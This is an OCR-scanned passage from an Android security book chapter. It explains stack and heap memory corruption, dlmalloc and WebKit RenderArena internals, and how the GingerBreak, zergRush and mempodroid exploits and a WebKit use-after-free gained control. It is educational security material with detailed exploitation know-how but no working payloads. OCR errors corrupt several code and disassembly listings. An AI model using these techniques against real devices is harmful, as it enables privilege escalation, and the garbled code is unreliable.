down again. The prologue code saves registers that should not be trashed onto 
the stack. When returning from the function later, the corresponding epilogue 
restores them. The prologue also allocates the space required for all local vari- 
ables stored on the stack by adjusting the stack pointer accordingly. Because 
the stack grows from high virtual memory to low memory, the stack pointer is 
decremented in the prologue and incremented in the epilogue. Nested function 
calls result in layered stack frames as shown in Figure 8-1. 
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sp ——> ; low 
local variables n 


fp ——~> saved frame pointer n 


saved program counter n 


local variables 1 


saved frame pointer 1 


saved program counter 1 : 
start of stack ——» high 


Figure 8-1: Multiple stack frames example 


Note that although there are special instructions in Thumb mode that deal 
with the stack pointer register (namely push and pop); the general concept of 
the stack is just an ABI agreement between different functions. The designated 
stack pointer register could be used for other purposes as well. Therefore a local 
variable allocated on the stack can be treated like any other memory location 
by an attacker. 

What makes vulnerabilities involving local stack variables particularly interest- 
ing is that they reside close to other inline control data—that is, saved function 
return addresses. Also, all local variables reside next to each other without any 
interleaving control data, as depicted in Figure 8-1. All information about the stack 
frame layout is implicitly encoded in the native code generated by the compiler. 

Any bounds-checking bug that affects a local variable can then trivially be 
used to overwrite the contents of other local variables or inline control data 
with attacker-controlled values. Aleph1 was the first to publicly document this 
in his seminal article entitled “Smashing the Stack for Fun and Profit” (Phrack 
49, Article 14, htt p://phrack.org/issues. html ?issue=49&i d=14#article). 
Because temporary character buffers or arrays of data are often allocated as 
local variables on the stack, this is a common vulnerability pattern. A trivial 
example of vulnerable code looks like the following code. 


Vulnerable Stack Buffer Function Example 


void getname() { 
Struct { 
char name[ 32]; 
int age 
} info; 
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info.age = 23; 


printf("Please enter your name: ") 
gets(info. name) 


printf("Hello %s, | guess you are %u years old?!\n", info. name 
info. age); 


} 


The gets function is notoriously known for not performing any bounds check- 
ing. If more than 32 characters are provided on st di n, the program will misbehave. 
The assembly generated by GCC 4.7.1 with the flags - mthumb - mcpu=cortex- a9 
- O2 looks like this: 


Disassembly for the Previous Example 


00000000 <getname> 
0: £240 0000 movw r0, #0 


J Save return address to caller on stack. 


4: b500 push {Ir} 
6: 2317 movs r3, #23 


| Reserve stack space for local variables. 


8: b08b sub sp, #44 
a: f2c0 0000 movt r0, #0 


L Initialize stack variable age with fixed value 23 set to r3 before. 


e: 9301 str r3, [sp, #36] 
10: f7ff fffe bl 0 <printf> 


L Calculate stack buffer address as first argument to gets. 


14: a802 add r0, sp, #4 
16: f7ff fffe bl 0 <gets> 
la: £240 0000 movw r0, #0 


L Load age local variable to print it. 


le: 9a01 ldr r2, [sp, #36] 
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L Calculate stack buffer address again for printing. 


20: a902 add rl, sp, #4 
22: f2c0 0000 movt r0, #0 
26: f7ff fffe bl 0 <printf> 
2a: b00b add sp, #44 


| Load return address from stack and return. 


2c: bd00 pop {pc} 


As stated earlier, the stack frame layout is encoded entirely in the code of the 
function, or more precisely in the sp register relative offsets. The layout on the 
stack is shown in Figure 8-2. 


sp+4 name[32] low 
sp+36 age 
t 
saved program counter high 


Figure 8-2: Stack frame layout for example 


When an attacker supplies more than 32 bytes of input, he first overwrites 
the local variable age with bytes 33 to 36 and then the saved return address with 
bytes 37 to 40. He can then redirect the execution flow upon function return to a 
location of his liking or simply abuse the fact that he can control a local variable 
that he otherwise would not have been able to change (to make him look older)! 

Because this type of vulnerability is so common, a generic mitigation was 
implemented in the GNU C Compiler. This mitigation was enabled by default 
since the first release of Android. See the “Protecting the Stack” section in Chapter 
12 for more details. Despite this mitigation, vulnerability-specific techniques can 
still be used for attacking applications protected by stack cookies, such as in the 
case of the zergRush exploit discussed later in this chapter. Also, vanilla stack 
buffer overflows still serve as a very useful introductory example to memory 
corruption vulnerabilities. 
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Heap Exploitation 


Non-local objects that must live longer than one function's scope are allocated 
on the heap. Arrays and character buffers allocated on the heap are subject to 
the same bounds-checking issues as those situated on the stack. In addition to 
data, the heap contains in-bound allocation control metadata for each allocated 
object. Furthermore, unlike local stack-backed variables, heap allocation lifetimes 
are not automatically managed by the compiler. Heap-based vulnerabilities lend 
themselves to easier exploitation due to these two facts. Accordingly, more such 
vulnerabilities can be leveraged by an attacker. 


Use-After-Free Issues 


Ina use-after-free scenario, the application code uses a pointer to access an object 
that has already been marked as free to the heap allocation using the f ree func- 
tion or del ete operator. This is a common bug pattern in complex software that 
is also hard to identify with manual source code auditing. Because the de! et e 
operator typically relies onf ree for allocation handling internally, we use them 
interchangeably here. 

Most heap allocators do not touch the contents of an allocation when freeing 
it. This leaves intact the original data (from when the allocation was previously 
in use). Many allocators store some control information about freed blocks in 
the first machine words of the free allocation but the majority of the original 
allocation stays intact. When a memory allocation is used after being freed back 
to the allocator, different scenarios may play out: 


= The freed allocation’s memory has not been used to back a new alloca- 
tion: When the contents are accessed, they are still the same as when the 
object was still valid. In this case, no visible bug will manifest. However, 
in some cases a destructor may invalidate the object’s contents, which may 
lead to an application crash. This scenario can also lead to information 
leaks that disclose potentially sensitive memory contents to attackers. 


m= The freed allocation could be reused for (parts of) a new allocation: The 
two semantically different pointers now point to the same memory loca- 
tion. This often results in a visible crash when the two competing pieces of 
code interfere with each other. For example, one function might overwrite 
data in the allocation that is then interpreted as a memory address by the 
other function. This is shown in Figure 8-3. 


A freed block that is not reused by another allocation is not of much use 
(unless one can force the code to f ree it once more). However, careful input 
crafting often allows driving the target application to make another allocation 
of similar size to reuse the just-freed spot. The methodology to do that is heap 
allocator specific. 
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class A { 
int example_1; 
int example_2:; 


example_3 


class B { 
char example_3[8]; 


Figure 8-3: Heap use-after-free aliasing 


Custom Allocators 


Most developers think the heap allocator is part of the operating system. This 
is not true. The operating system merely provides a mechanism to allocate new 
pages (4kB in size on most architectures). These pages are then partitioned into 
allocations of the required size by the heap allocator. The heap allocator most 
people use is part of the C runtime library (libc) they are using. However, an 
application may use another heap allocator that is backed by operating system 
pages. In fact, most desktop browsers do so for performance reasons. 

It isa common misconception that WebKit-based browsers use the TCmalloc 
allocator on all architectures. This is not true for the Android browser. Although 
it is WebKit based, it makes use of Bionic’s embedded dlmalloc allocator for 
normal allocations. 


The Android dlmalloc Allocator 


Android's Bionic libc embeds Doug Lea’s famous dlmalloc allocator that has 
been in development since 1987. Many open source libc libraries make use of 
dlmalloc, including older versions of the widespread GNU libc. Newer versions 
of GNU libc use a modified version of the original dlmalloc. 

Up until Android 4.1.2, Bionic bundled the same slightly outdated dlmalloc 
2.8.3 from 2005. In Android 4.2, Bionic was modified to contain an upstream 
dlmalloc in a separate folder. Since then, Android ships with dlmalloc 2.8.6 from 
2012. The following information is valid for both versions. 

The allocator splits the pages allocated by the operating system into blocks. 
Those blocks consist of an allocator-specific control header and the application 
memory requested. Although memory can be requested at byte granularity, blocks 
are rounded up to multiples of eight bytes in size per default. However, dlmalloc 
allows specifying larger multiples for performance reasons. For example, builds 
for some Intel boards round to multiples of 16 bytes. In consequence, blocks of 
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different sizes that are rounded up to the same size are treated the same by the 
allocator and can be used interchangeably for filling up empty slots in a use- 
after-free scenario. 

dlmalloc stores inline control data about blocks on the heap to maximize 
performance of allocations and frees. The inline control data starts two pointer 
sizes before the actual block. These two fields hold the sizes of the previous 
and current chunks, allowing the allocator to effectively navigate to neighbor- 
ing blocks in both directions. Free blocks also contain additional information 
in the beginning of the user part of an allocated block. For blocks smaller than 
256 bytes, this additional metadata contains a pointer to the next and previous 
free blocks of the same size in a doubly linked First-In-First-Out (FIFO) list. For 
larger blocks, free blocks resemble a trie, and subsequently more pointers must 
be stored. For more details, consult the dlmalloc sources, which are quite com- 
ment rich. The overlaid block headers for small blocks are shown in Figure 8-4. 


dimalloc free dimalloc allocated 
previous size previous size 
current size : current size K : 
previous link <—— pointer —> 
next link user data 


Figure 8-4: dimalloc block headers, list 


To optimize allocation performance, small free blocks are categorized by 
size. The head of the doubly linked free list is kept in an array called a bin. This 
enables lookups in constant time during allocation. When a block is freed using 
f ree, dlmalloc checks if the adjacent blocks are free as well. If so, adjacent blocks 
are merged into the current block. This process is called coalescing. Coalescing 
takes place before the potentially merged block is put into a bin, therefore bins 
do not influence coalescing behavior (unlike other allocators such as TCmalloc, 
which only coalesces chunks that no longer fit into an allocation cache). This 
behavior has significant implications for manipulating the heap into a fully 
attacker-controlled state: 


m When exploiting use-after-free scenarios, an attacker must take care to ensure 
that adjacent blocks are still in use. Otherwise, a new allocation that was 
supposed to take up the free spot might be allocated from another cached, 
free block of the same size instead of the now larger block. Even when the 
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allocation is taken from the same block, it might be shifted if the freed block 
was coalesced with a free block right before it. 


m For heap buffer overflows and other control data corruption attacks, coalesc- 
ing with blocks at a lower address can shift the control structures out of 
control of the current block. 


In either case, coalescing can be mitigated by keeping small in-use allocations 
adjacent to the blocks exploited. 

Many modern heap allocators contain additional security checks during allo- 
cation and freeing to mitigate heap attacks. The checks in dlmalloc only affect 
control data manipulation. f ree checks the following invariants: 


m The next adjacent chunk’s address must be after the current chunk’s 
address. This is to avoid integer overflows when adding the current chunk’s 
address and size. 


m The previous adjacent chunk must be on the heap, determined by compar- 
ing its address with a global minimum address set at initialization. This 
mitigates setting an artificially high previous chunk size. 


m When a chunk is unlinked from the previously mentioned free lists, during 
coalescing or servicing a new allocation, a safe unlink check is executed. 
This check verifies two things. First, it verifies that the chunk pointed 
to by the forward pointer has a back pointer that points to the original 
chunk. Second, the chunk pointed to by the backward pointer must have 
a forward pointer that points to the original chunk. This mitigates over- 
writing arbitrary pointers with the chunk addresses during the unlinking. 
However, memory locations that already contain pointers to the chunks, 
such as the bin list heads, could still be overwritten in this fashion. 


The security checks in ma! | oc are mostly limited to the unlinking checks 
mentioned already. 

Although special scenarios exist that are not covered by these checks, it is often 
easier to simply attack application-specific pointers on the heap. Many other gen- 
eralized techniques are documented in Phrack 66 (in particular, articles 6 and 10, 
“Yet another free() exploitation technique” and “MALLOC DES-MALEFICARUM”) 
and several other sources. One methodology for attacking application-specific 
pointers is presented in the next section. 


C++ Virtual Function Table Pointers 


Polymorphism in C++ is supported by what is called virtual functions. Those 
functions can be specialized for derived classes so that the correct function for 
an object in memory is called even when the calling code knows only about the 
base class. Discussing all details of object-oriented programming with virtual 
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functions goes beyond the scope of this book, but an excellent introduction is 
given in B. Stroustrup, The C ++ Programming Language, Addison Wesley (3rd 
edition), 1997. 

Of more interest to the attacker is not the beauty of object-oriented program- 
ming in C++ but how virtual function calls are implemented by compilers. 
Because the resolution of virtual functions happens at runtime, there must be 
some information stored within a class’s representation in memory. And indeed, 
GCC places a virtual function table pointer—vftable for short—at the beginning of 
an object in-memory. Instead of containing a classic function pointer for each 
virtual function, this pointer points to a table containing function pointers. This 
is a straightforward object size optimization, as a specific instance is always of 
a specific class type and therefore has a fixed set of virtual functions. A binary 
contains a virtual function table for each of its base classes. The pointer to the 
virtual function table is initialized by the constructor. More information about 
implementation details can be found in S. Lippman, Inside the C++ Object Model, 
Addison-Wesley, 1996. The basic layout is shown in Figure 8-5. 


heap text 
class instance : A, B 


virtual function table pointer A ———> function pointer 1 


virtual function table pointer B function pointer 2 


member 1 function pointer 3 


Figure 8-5: Virtual function table pointer in C++ class 
Therefore any virtual function call requires a memory indirection through 


the class instance, which is typically allocated in heap memory. On ARM, a 
GCC virtual function call site may look like the following. 


WebKit Virtual Function Call Example 


| Load virtual function table pointer into r0 from beginning of class in-memory, 
pointed to by r4. 


Idr rO, [r4, #0] 
subs r5, r6, r5 
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| Load actual function pointer from table at offset 772. 


Idr.w r3, [r0, #772] 


4 Initialize this pointer argument r0 to class pointer from r4. 


mov r0, r4 


L Call the function pointer. 


bix r3 


When a memory corruption bug on the heap is in play, an attacker can therefore 
try to manipulate the virtual function table pointer (loaded from r4 into r0 in 
above example) to his liking. Although vftables normally reside in the binary’s 
text section, an attacker can point it to a faked virtual function pointer table on 
the heap. Later, when a virtual method for this object is called, the fake virtual 
function pointer table will be used and control flow will be diverted to a loca- 
tion of the attacker’s choosing. 

One weakness of this technique is that the address to call as a function cannot 
be written directly to the C++ object in memory. Instead, one level of indirec- 
tion is required and the attacker therefore needs to do one of two things. First, 
he can leak a heap address he can control in order to subsequently provide it 
as virtual function table pointer. Or, he can use application logic to overwrite 
the virtual function table pointer with a pointer to attacker-controlled data, as 
showcased in the next section. 


WebKit Specific Allocator: The RenderArena 


As previously stated, programs can contain their own heap allocators that are 
optimized for the program. The WebKit rendering engine contains such an 
allocator for optimizing the RenderTree generation for speed. The RenderTree is a 
companion to the Document Object Model (DOM) Tree and contains all elements 
on a page annotated with position, styles, and so on that need to be rendered. 
Because it needs to be rebuilt every time the page layout changes (for example, 
by resizing a Window, changes in the DOM tree, and much more), it needs to 
use a fast allocator. The C++ objects that represent nodes of the RenderTree are 
therefore allocated on a special heap allocator called the RenderArena. 

The RenderArena is not backed directly by operating system chunks but by 
large allocations on the main heap. These larger allocations are allocated using 
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the now familiar dlmalloc and are used to service RenderArena allocations. 
In this respect, the RenderArena is a heap on a heap. RenderArena allocations 
are 0x1000 bytes plus the arena header, typically totaling 0x1018 bytes in size 
on ARM. 

The allocation strategy of the RenderArena is trivial and quickly explained. 
Chunks are never coalesced; they are kept in a singly linked First-In-Last-Out 
(FILO) list for reuse on allocation requests of the same size. If no allocation of 
the requested size is available, a new block is created at the end of the current 
RenderArena. If the current arena is too small to service the request, a new one 
is simply allocated from dlmalloc. Despite being very simple, this allocation 
strategy still works well, because only fixed size C++ classes are allocated on 
this special heap, so overall there is a small variance in allocation sizes. 

Because of this simple allocation strategy, no inline metadata is stored for 
allocated blocks. Free blocks have the first machine word replaced with a pointer 
to the next free block of the same size to form the singly linked FILO list men- 
tioned previously. 

Placing the list pointer for the next free block of same size at the beginning 
of the free block provides an excellent attack opportunity. Because all objects 
on the RenderArena are C++ classes derived from a base class with virtual 
functions, they all have a virtual function table pointer at the beginning. This 
pointer overlaps with the linked list pointer. Therefore, the RenderArena allo- 
cator automatically points the virtual function table pointer to the previously 
freed block of the same size, as shown in Figure 8-6. 


virtual function function 

table pointer ointer 1 
p member 1 member2 [ee POSTI = ni 

next free member 1 


Figure 8-6: vftptr assigned to next free chunk 


If the contents of an allocation of the same size can be controlled and freed just 
before a use-after-free scenario, the native code flow can be redirected without 
further heap crafting. The “Exploiting the Android Browser” section at the end 
of this chapter discusses one such scenario. In that scenario, it is still possible 
to successfully exploit this even when the full allocation cannot be controlled. 

This technique was mitigated by Google in recent upstream WebKit releases 
as a direct response to it being presented publicly at Hackito Ergo Sum 2012. The 
linked list pointers are now masked with a magic value generated at runtime 
and therefore are no longer valid virtual function table pointers. The value is 
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generated based upon some ASLR entropy and has the most significant bit set. 
This ensures that the generated value cannot be predetermined and is very 
unlikely to be a valid pointer. 


A History of Public Exploits 


An overview of many different local privilege escalation exploits was already 
provided in Chapter 3. This chapter explains three vulnerabilities and their cor- 
responding public exploits in great detail in an effort to provide some background 
about existing techniques for user-space exploitation in the Android ecosystem. 

The first two vulnerabilities affect vold, Android’s custom automatic mounting 
daemon. This software has been specifically developed for the use in Android 
and has a history of security flaws exposed over two attack surfaces. The first 
vulnerability examined is reachable over a NETLINK socket. These are special 
local packet sockets that are typically used for communication between kernel 
and user-space. The second vulnerability is exposed via a UNIX domain socket. 
A UNIX domain socket is bound to a specific path in the file system and has 
an owning user group as well as file permissions. Because this specific UNIX 
domain socket is not accessible to all users, this vulnerability is not reachable 
from an exploited browser process. 

The third exploit examined, mempodroid, utilizes a vulnerability in the Linux 
kernel itself to allow writing to memory of processes running at higher privileges. 
This primitive is used to cleverly influence a set-uid binary to execute a custom 
payload and thereby escalate privileges. Despite relying on a vulnerability in 
kernel code, exploitation happens primarily in user-space context. 


GingerBreak 


The vol d daemon listens on a NETLINK socket waiting to be informed about 
new disk-related events so it can subsequently mount drives automatically. 
Normally, those messages are sent by the kernel to all user-space programs 
registered for a specific type of messages. However, it is also possible to send 
a NETLINK message from one user-space process to another. Consequently, it 
is possible to send messages that were expected to come from the kernel and 
abuse bugs that are exposed via this attack surface. More interestingly, NETLINK 
sockets are currently not restricted by the Android permission model and any 
app can create and communicate using them. This broadens the attack surface 
for vulnerabilities in NETLINK message handling related code significantly. 
vold uses Android Open Source Project (AOSP) library code to handle and 
parse NETLINK messages. When a new message regarding an event on a block 
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device is delivered, a dispatcher class called Vol umeManager invokes the virtual 
function hand! eBl ockEvent on all registered Vol ume classes. Each registered class 
then decides whether this event concerns them or not. The following excerpt 
fromsystem/vol d/ Vol umeManager. cpp within the AOSP repository shows the 
implementation of hand! eBl ockEvent. 


Implementation of handleBlockEvent in vold 


void VolumeManager::handleBlockEvent(NetlinkEvent *evt) { 
const char *devpath = evt->findParam("DEVPATH") 


/* Lookup a volume to handle this device */ 
VolumeCollection::iterator it; 

bool hit = false; 

for (it = mVolumes->begin(); it != mVolumes->end(); ++it) { 

if (!(*it)->handleBlockEvent(evt)) { 

#ifdef NETLINK_ DEBUG 

SLOGD("Device '%s' event handled by volume %s\n", devpath, 
(*it)->getLabel()); 


fendi f 
hit = true; 
break; 
} 
} 
if (thit) { 


#ifdef NETLINK_ DEBUG 
SLOGW( "No volumes handled block event for '%s'", devpath) 
#endi f 
} 
} 


The Direct Vol ume class contains code to handle addition of partitions. This 
code is invoked when a NETLINK message with the parameter DEVTYPE is 
set to something other than di sk. The following excerpt from syst em/ vol d/ 
DirectVolume. cpp within the AOSP repository shows the implementation of 
the hand! ePartitionAdded function from the Di rect Vol ume class. 


Vulnerable handlePartitionAdded Code from vold at 8509494 


void DirectVolume::handlePartitionAdded(const char *devpath, 
NetlinkEvent *evt) { 
int major = atoi(evt->findParam("MA] OR")); 
int minor = atoi(evt->findParam("MINOR")); 


int part num 
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| Retrieve the PARTN parameter from the NETLINK message. 


const char *tmp = evt->findParam("PARTN") 


if (tmp) { 
part num = atoi(tmp); 

} else { 
SLOGW "Kernel block uevent missing 'PARTN'"); 
part_num = 1; 


| Check a dynamically incremented member variable but no absolute array 
boundaries. 


if (part_num > mDiskNumParts) { 
mDiskNumParts = part_num 


} 


if (major != mDiskMajor) { 
SLOGE("Partition '%s' has a different major than its disk!", 
devpath); 
return; 
} 


ļ Assign a user-controlled value to the user-controlled index, only upper 
bounded. 


if (part_num > MAX_PARTITIONS) { 
SLOGE("Dv: partAdd: ignoring part_num = %d (max: %d)\n" 
part_num, MAX_PARTI TI ONS) 
} else { 
mPartMinors[part_num-1] = minor 
} 
fh ods 
} 


This function does not properly validate the bounds of the part_num vari- 
able. This value is directly supplied by an attacker as the PARTN parameter in 
the NETLINK message. In the above comparison, it is interpreted as a signed 
integer and used for accessing a member of an integer array. The index value 
is not checked to see if it is negative. This allows accessing elements that are 
located in memory before the mP art Mi nor s array, which is stored on the heap. 

This enables an attacker to overwrite any 32-bit word located in memory 
before the array in question with an attacker-controlled value. The vulnerability 
was fixed in the Android 2.3.4 release. The patch is simple and just adds the 
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proper check for negative indexes. The following output from git diff shows 
the relevant change. 


Patch for the Missing Bounds Check in handlePartitionAdded with f3d3ce5 


- a/DirectVolume.cpp 
+++ b/DirectVolume.cpp 
@@ -186,6 +186,11 @@ void DirectVolume::handl ePartitionAdded 
(const char *devpath, NetlinkEvent *evt) 
part_num = 1; 


| The missing bounds checks are added here. 


+ if (part_num > MAX_PARTITIONS || part_num< 1) { 
+ SLOGW( "Invalid 'PARTN' value"); 

+ part_num = 1; 

+ } 

+ 


if (part_num > mDiskNumParts) { 
mDiskNumParts = part_num; 


} 


This is a classic instance of a write-four primitive. This primitive describes 
the situation where an attacker-controlled 32-bit value is written to an attacker- 
controlled address. The public exploit by Sebastian Krahmer does not require 
an information leak from the target process as it makes use of Android’s crash 
logging facility instead. Because this exploit was written for rooting your own 
device, it assumes it is being executed via an Android Debug Bridge (ADB) shell 
and therefore able to read the system log, which contains some crash information 
as seen in Chapter 7. Normal applications that might seek to elevate privileges 
are not members of the log UNIX group and therefore cannot read the system 
log that this exploit uses. 

The GingerBreak first determines the index offset from the exploited 
Direct Volume class instance’s mPart Mi nors array to the Global Offset Table 
(GOT). Because the affected versions of Android do not have any form of ASLR, 
the offset is stable across multiple launches of vol d. Because vol d is automati- 
cally restarted if the process dies, the exploit simply crashes vol d with invalid 
offsets. It then reads the cr ashl og text file and parses it for the fault address 
string, indicating the address of an invalid memory access. In this way, the cor- 
rect index to point into the GOT can be easily calculated if the GOT address itself 
is known. The GOT address is simply determined by parsing the Executable 
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and Link Format (ELF) headers of the vo! d binary on-disk. This also makes the 
exploit work across builds without additional development efforts. Figure 8-7 
shows how a negative index can be used to overwrite the GOT. 


low 
text 
GOT 
data _n 
heap 
high 


Figure 8-7: Negative GOT index from the heap 


To achieve useful code execution, the exploit then overwrites the GOT entry 
of the strcmp function with the address of the syst em function in libc. Again, 
because no ASLR is in effect, the exploit can use the address of s ys t em in the 
current process’s libc. It will be the same address inside the target process. 
After overwriting the GOT entry, the next time vol d invokes st r c mp, it executes 
system instead. 

The exploit then sends a NETLINK request with a parameter that will be 
compared to another, saved string. Because strcmp now points to system, the 
exploit simply provides the path of a binary to execute for this string. When 
comparing the supplied string to the saved string, vol d then actually invokes 
the binary. Therefore, no native code payload or Return Oriented Programming 
(ROP), as discussed in Chapter 9, is required for this exploit, making it elegant 
and fairly target independent. In exploitation, simplicity is reliability. 


zergRush 


Rather than exploiting an issue in the vol d code, the second exploit-attacking 
vol d exploits a vulnerability in the | i bsysutils library. This library provides 
a generic interface for listening on what it calls Fr ame work sockets, which are 
simply traditional UNIX domain sockets. The code that extracts text commands 
from messages sent to these sockets was vulnerable to common stack buffer 
overflows. This vulnerability was fixed with the Android 4.0 release. However, 
the attack surface has very limited exposure. The relevant UNIX domain socket is 
only accessible to root user and the mount group as shown in the following code. 
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vold Framework Socket File Permissions 


# Is -I /dev/socket/vold 
SrW-rw---- root mount 2013-02-21 16:08 vold 


A local ADB shell runs as the shell user, who is a member of the mount 
group. Rooting a device via the ADB shell is therefore possible using this bug. 
However, this socket is not accessible to other processes running without the 
mount group, such as the browser. If another process uses the same vulnerable 
FrameworkListener code, the vulnerability can be exploited against its socket 
and its privileges can subsequently be assumed. 

The vulnerable function is used to parse an incoming message on the UNIX 
domain socket into different space delimited arguments as shown in the 
following code. 


Vulnerable function dispatchCommand 


void FrameworkListener::dispatchCommand(SocketClient *cli, char *data) { 
FrameworkCommandCollection::iterator i; 
int argc = 0; 


char *argv[FrameworkListener::CMD_ARGS_ MAX]; 


| A temporary local buffer is allocated on the stack. 


char tmp[ 255]; 
char *p = data; 


| The pointer q aliases the temporary buffer. 


char *q = tmp; 

bool esc = false; 
bool quote = false; 
int K 


memset(argv, 0, sizeof(argv)); 
memset(tmp, 0, sizeof(tmp)); 


L This loop iterates over all input characters until a terminating zero is reached. 


while(*p) { 
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L User input is copied into the buffer here, arguments are put into the array 
without bounds checks. 


tq = * ptt; 
if (!quote && *q == ' ') { 
*q = '\0'; 
argv[argc++] = strdup(tmp); 


memset(tmp, 0, sizeof(tmp)); 


L q is reset to the beginning of tmp if there is a space outside a quoted string. 


q = tmp; 
continue; 


| The target pointer is incremented without further bounds checks. 


qtr; 
} 
argv[argc++] = strdup(tmp); 
for (j = 0; j < argc; j++) 
free(argv[j]); 


return; 


The patch for this vulnerability was introduced in commit c6b0def to the 
core directory of the AOSP repository. It introduces a new local variable glimit 
that points to the end of tmp. Before writing to q, the developer checks it is not 
equal to or greater than qlimit. 

Because the return address is saved on the stack, exploitation could be as easy 
as overflowing the tmp buffer enough to overwrite the saved return address 
and replace it with an address containing the attacker’s native code payload. 
Figure 8-8 shows this simplified scenario. 

However, stack cookies are active and therefore a more sophisticated exploita- 
tion strategy is required. As can be seen in the earlier vulnerable code snippet, 
the code also fails to perform bounds checking on the argv array. The zergRush 
exploit increments the argc variable with 16 dummy elements such that out-of- 
bounds elements of the argv array overlap with the tmp buffer. It then writes 
contents into tmp that includes pointers to be freed later in the function, allow- 
ing the exploit to force a use-after-free scenario for any heap object. This is then 
used to hijack control flow using a virtual function table pointer. The overflowed 
stack frame is depicted in Figure 8-9. 
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Figure 8-8: Stack buffer overflow over tmp buffer and return address 
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Figure 8-9: Stack array overflow into tmp buffer-preserving cookie 
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Because the Android 2.3 series introduces the XN mitigation, which does not 
allow an attacker to execute arbitrary code directly, the zergRush exploit utilizes 
a very simple ROP chain to set up the arguments for a call to s ys t em. Using this 
technique, it invokes another binary as root, just like the original GingerBreak 
exploit. ROP is explained in more detail in Chapter 9. 


mempodroid 


A vulnerability in the Linux kernel from 2.6.39 to 3.0 allows users to write into the 
memory of another process with certain limitations. This vulnerability was dis- 
closed in January 2012 and affects the Android 4.0 release series because the kernel 
versions in question were only used in conjunction with that Android version. 

Linux exposes a special character device for each process at / proc/ 
$pid/ mem that represents that process’ virtual memory as a file. For obvious 
security reasons, there are strict restrictions on who can read from and write 
to that file. Those restrictions require that the process writing to this special 
device must be the process owning the memory. Luckily, thanks to the UNIX 
everything-is-a-file mentality, an attacker can open the me m device for the target 
process and clone it to that process’s st dout andstderr. There are additional 
checks that need to be circumvented to successfully exploit this vulnerability. 
Jason A. Donenfeld documented these restrictions very well in his blog post at 
http: //blog.zx2c4. com 749. 

When st dout has been redirected to the character device linked to virtual 
memory, the attacker can try to make the program output attacker-controlled 
data and thereby write to the program’s memory in an unintended location. 
By seeking in the character device before the program runs, he can control at 
which memory location data is written. 

The mempodroid exploit written by Jay Freeman targets the run- as binary. 
This binary is much like sudo on traditional Linux systems, in that it allows 
running a command as another user. To accomplish this, the program is owned 
by the root user and has the set-uid permission bit set. 

The exploit simply provides the desired payload to be written to the target 
memory as the username to impersonate. run- as fails to look up that user 
and print an error message to st derr accordingly. The target address is set by 
seeking the mem device before passing it to the target program. This address 
is the path of the error function leading to program termination via a call to 
exit. Therefore the actual native code exiting with error code after a failed 
user lookup is replaced by some attacker-controlled code. To keep the amount 
of attacker-controlled code to a minimum, the exploit carefully chooses the 
location to hijack to be the call-site of the call to the exi t function. It replaces 
this code witha call tosetresuid(0) . Then it returns from the function as if no 
error occurred, which spawns the attacker’s provided command as per normal 
functionality as shown in Figure 8-10. 
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D7FC ' MOV RO, R4 MOV RO, R4 
D7FE : BLX exitgroup POP {RO, R1, R4-R6} 
D802 | NOP MOVS R5, #0 
' D804: l MOVW R3, #0xAD57 
i D808 + BX R3 


mi 


: OxAD56 MOV RO, R5 
MOV R1, R5 
MOV R2, R5 
BL wrap_setresuid32 


Figure 8-10: Side-by-side with original and overwritten code 


This is another very elegant exploit that shines through its simplicity and 
understanding of the target program. It uses the existing functionality to run 
a process of the attacker’s choosing. 


Exploiting the Android Browser 


As a case study for advanced heap exploitation, this chapter presents a specific 
use-after-free vulnerability in WebKit’s rendering code. This vulnerability, 
also known as CVE-2011-3068, was fixed in WebKit upstream commit 100677. 
At the time of the fix, bug #70456 was referenced, but unfortunately this bug 
is still closed at the time of this writing. The fix was merged into the Android 
Browser’s WebKit with the Android 4.0.4 release (tags android-4.0.4-aah_rl 
and android- 4.0.4 11) incommitd911316 and 538b01d, which were cherry- 
picked from the upstream commit. The exploitation attempt is against a Galaxy 
Nexus running Android 4.0.1 (build | TL41F ), which is confirmed vulnerable. 


Understanding the Bug 


The official patch does not point out the bug well, and understanding WebKit 
source has a high barrier to entry. Luckily for an attacker, the fixing commit 
also contains a crash test case to prevent future regressions—and make exploit 
development easier! When attached with a debugger and the correct symbols 
(see Chapter 7 for a guide on setting up your debugging environment), the 
browser crashes as shown in the following example. 
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Crash on Testcase from Commit 100677 


Program received signal SIGSEGV, Segmentation fault 
[Switching to Thread 2050] 
0x00000000 in ?? () 


| Dump all the registers. 


gdb >» i r 

r0 0x6157a8 0x6157a8 

rl 0x0 0x0 

r2 0x80000000 0x80000000 
r3 0x0 0x0 

r4 0x6157a8 0x6157a8 

r5 0x615348 0x615348 

r6 0x514b78 0x514b78 

PI 0x1 0x1 

r8 0x5ba40540 0x5ba40540 
r9 0x5ba40548 0x5ba40548 
r10 0xa5 0xa5 

rll 0x615424 0x615424 

r12 0x3 0x3 

sp 0x5ba40538 0x5ba40538 
lr 0x59e8ca55 0x59e8cCa55 
pc 0x0 0 

cpsr 0x10 0x10 


| Disassemble calling function. 


gdb » disas $Ir 
Dump of assembler code for function 
_ZN7WebCorel2Render Obj ect14l ayout!l fNeededEv 
0x59e8ca40 <+0>: push {r4, Ir} 
0x59e8ca42 <+2>: mov r4, r0 
0x59e8ca44 <+4>: bl 0x59e4b904 
<_ZNK7WebCorel2Render Obj ectlineedsLayoutEv> 
0x59e8ca48 <+8>: cbz r0, 0x59e8ca54 
<_ZN7WebCorel2RenderObject14layoutifNeededEv+20> 


L Load pointer to virtual function table into r0. 


0x59e8ca4a <+10>: idr rO, [r4, #0] 
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| Load actual function pointer into r3 (this will be the 0 address jumped to, 
causing a crash). 


Ox59e8ca4c <t12>: Idr.wr3, [r0, #380] ; 0x17c 


L Load new this pointer into r0 argument. 


0x59e8ca50 <+16>: mov r0, r4 


| Actual virtual function call. 


0x59e8ca52 <+18>: blx r3 
0x59e8ca54 <+20>: pop {r4, pc} 
End of assembler dump. 


| Examine virtual function table pointer and this object at call site. 


gdb » x/lwx $r0 
0x6157a8: 0x00615904 


L Print actual function pointer. 


gdb » x/lwx (*$r0 + 0x17c) 
0x615a80: 0x00000000 


The call site is a very generic layout function declared for all Render Obj ect - 
derived classes, as shown in the following: 


layoutlfNeeded in RenderObject.h 


/* This function performs a layout only if one is needed. */ 
void layout! fNeeded() { if (needsLayout()) layout(); } 


It now becomes very clear that you are dealing witha Render Arena use-after- 
free scenario, where the virtual function table pointer has been overwritten as 
explained in the “WebKit Specific Allocator: The RenderArena” section earlier 
in this chapter. A motivated source code auditor might strive to understand the 
bug better, but for our purposes this is a sufficient understanding. Unluckily, 
the bug does not allow an attacker to regain JavaScript control after triggering 
the free, making more code analysis mostly useless. In order to exploit this 
issue, you must control the contents of the fake virtual function pointer table, 
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which currently points into another Render Obj ect instance whose contents 
you do not control. 


